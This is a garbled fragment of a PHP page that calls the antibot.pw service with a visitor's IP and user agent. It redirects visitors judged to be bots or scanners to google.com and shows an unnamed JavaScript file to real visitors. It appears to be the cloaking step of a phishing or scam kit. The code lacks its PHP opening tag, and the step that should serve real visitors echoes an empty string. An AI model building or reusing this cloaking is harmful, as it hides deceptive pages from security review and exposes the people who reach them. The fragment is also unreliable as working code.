!DOCTYPE html>
'a6ae86e5c733014d12aaf48a7e4fdd8a', 'botUrl' => 'https://google.com', 'realUrl' => 'https://antibot.pw' ]; class Antibot { private $apikey; public function __construct($api_key) { $this->apikey = $api_key; } private function getClientIp() { // Get real visitor IP behind CloudFlare network if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if (filter_var($client, FILTER_VALIDATE_IP)) { return $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { return $forward; } else { return $remote; } } private function httpGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } public function check() { $ip = $this->getClientIp(); $url = "https://antibot.pw/api/v2-blockers?ip=" . $ip . "&apikey=" . $this->apikey . "&ua=" . urlencode($_SERVER['HTTP_USER_AGENT']); $response = $this->httpGet($url); $json = json_decode($response, true); return $json['is_bot'] == 1 || $json['is_bot'] == true; } } $antibot = new Antibot($configAntibot['apikey']); if ($antibot->check()) { header("Location: " . $configAntibot['botUrl']); exit(); } else { // If the user is identified as a real user, include the JavaScript file echo ''; } ?>